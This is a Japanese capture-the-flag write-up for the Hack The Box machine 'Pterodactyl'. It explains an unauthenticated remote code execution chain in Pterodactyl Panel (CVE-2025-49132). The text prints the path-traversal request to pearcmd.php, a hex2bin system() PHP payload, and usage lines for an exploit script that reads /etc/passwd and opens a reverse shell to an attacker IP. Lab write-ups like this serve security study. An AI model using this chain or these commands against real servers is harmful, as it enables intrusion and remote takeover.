CVE-2025-49132 - Pterodactyl Panel RCE エクスプロイト

HTB Season 10 - Pterodactyl マシン Writeup

概要

ターゲット: Pterodactyl HTB マシン (中程度の難易度)
CVE: CVE-2025-49132
重要度: Critical (CVSS 9.8)
攻撃タイプ: 認証なしのリモートコード実行
影響を受けるバージョン: Pterodactyl Panel < v1.11.11

このエクスプロイトチェーンは以下の組み合わせです:

1. Path Traversal - ロケール翻訳システムにおけるパストラバーサル
2. PEAR Command Injection - pearcmd.php を介した PEAR コマンドインジェクション
3. PHP Code Execution - ファイル書き込み + インクルードによる PHP コード実行

バグ

Pterodactyl Panel の /locales/locale.json エンドポイントは、locale パラメータを介してパストラバーサルを許可します:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

これは PEAR の pearcmd.php と連鎖させて以下のことが可能です:

1. 任意の PHP ファイルを /tmp に書き込む
2. 別のリクエスト経由でそれらを実行する

なぜ機能するのか

PEAR (PHP Extension and Application Repository) には CLI ツール (pearcmd.php) があり、それでは:

• URL パラメータを介してコマンドを受け付ける (CLI 専用の設計)
• config-create コマンドがあり、ファイルを書き込む
• Web 経由で呼び出された場合、認証が不要

エクスプロイトチェーン:

パストラバーサル → pearcmd.php を読み込む → config-create 経由で PHP を注入 → 悪意のある PHP を実行

Hex2bin() のトリック

コマンドは hex2bin() を使用して16進数エンコードされ、以下をバイパスします:

• URL エンコードの問題
• 特殊文字フィルター
• Nginx/PHP の解析問題

例:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

リモートコード実行

方法: 提供された exploit.sh を使用

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

参考文献

CVE とエクスプロイト

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

技術リソース

• Pterodactyl Panel Docs
• PEAR Documentation
• OWASP Path Traversal